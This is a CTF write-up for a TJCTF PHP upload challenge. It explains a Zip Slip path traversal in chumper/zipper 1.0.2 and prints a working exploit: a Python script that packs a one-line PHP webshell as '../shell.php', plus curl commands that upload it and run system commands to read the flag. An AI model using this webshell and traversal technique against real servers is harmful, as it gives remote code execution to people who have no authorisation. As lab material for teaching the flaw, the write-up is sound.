$ cat writeup.md…
$ cat writeup.md…
tjctf
Task: PHP ZIP upload service using vulnerable chumper/zipper 1.0.2 library that extracts without path sanitization. Solution: Zip Slip attack with ../shell.php to write a webshell to the web root, then RCE to read flag.txt.
Free cloud storage, what could possibly go wrong?
English summary: A PHP web application that lets users upload ZIP files, which are extracted server-side into an /uploads/ directory. The goal is to find and read the flag on the server. Source code is provided via chall.zip.
chumper/zipper v1.0.2.zip file → extracted to /var/www/html/uploads/flag.php exists but only outputs "Nice try, but there's no flag here!"/var/www/html/flag.txtupload.php — the core vulnerable file:
<?php require 'vendor/autoload.php'; use Chumper\Zipper\Zipper; $uploadDir = __DIR__ . '/uploads/'; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (!isset($_FILES['zipfile'])) { die("No file uploaded."); } $tmpName = $_FILES['zipfile']['tmp_name']; $fileName = basename($_FILES['zipfile']['name']); if (pathinfo($fileName, PATHINFO_EXTENSION) !== 'zip') { die("Only zip files allowed."); } $destination = $uploadDir . $fileName; if (!move_uploaded_file($tmpName, $destination)) { die("Upload failed."); } $zipper = new Zipper(); $zipper->make($destination)->extractTo($uploadDir); echo "<p>Extraction complete!</p>"; }
composer.json:
{ "name": "free-cloud-storage/zip-upload", "require": { "chumper/zipper": "1.0.2" } }
The Chumper\Zipper library version 1.0.2 does not sanitize filenames inside ZIP archives. When a ZIP entry contains path traversal sequences like ../, the extracted file is written relative to the extraction directory — escaping the intended /uploads/ folder.
Since the extraction directory is /var/www/html/uploads/, a filename of ../shell.php causes the file to be written to /var/www/html/shell.php — directly in the web root, accessible via HTTP.
Key conditions that make this exploitable:
/uploads/) is a subdirectory of the web root.php files in the web rootwww-data user has write permissions to the web rootCreate a ZIP archive where the entry name contains ../ to escape the uploads directory:
#!/usr/bin/env python3 """ Free Cloud Storage - TJCTF 2026 Zip Slip exploit: write PHP webshell to web root via path traversal """ import zipfile with zipfile.ZipFile('evil.zip', 'w') as z: z.writestr('../shell.php', '<?php system($_GET["c"]); ?>') print("[+] Created evil.zip with entry: ../shell.php")
The ZIP contains a single entry named ../shell.php. When extracted to /var/www/html/uploads/, the ../ causes the file to be written to /var/www/html/shell.php.
curl -s -F "[email protected]" \ "https://free-cloud-storage-f785d51d362639b1.tjc.tf/upload.php" # Response: "File uploaded. Extracting... Extraction complete!"
curl -s "https://free-cloud-storage-f785d51d362639b1.tjc.tf/shell.php?c=id" # Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl -s "https://free-cloud-storage-f785d51d362639b1.tjc.tf/shell.php?c=cat+/var/www/html/flag.txt" # Output: tjctf{REDACTED}
flag.php: Decoy file — only outputs "Nice try, but there's no flag here!"flag.txt, not flag.php$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar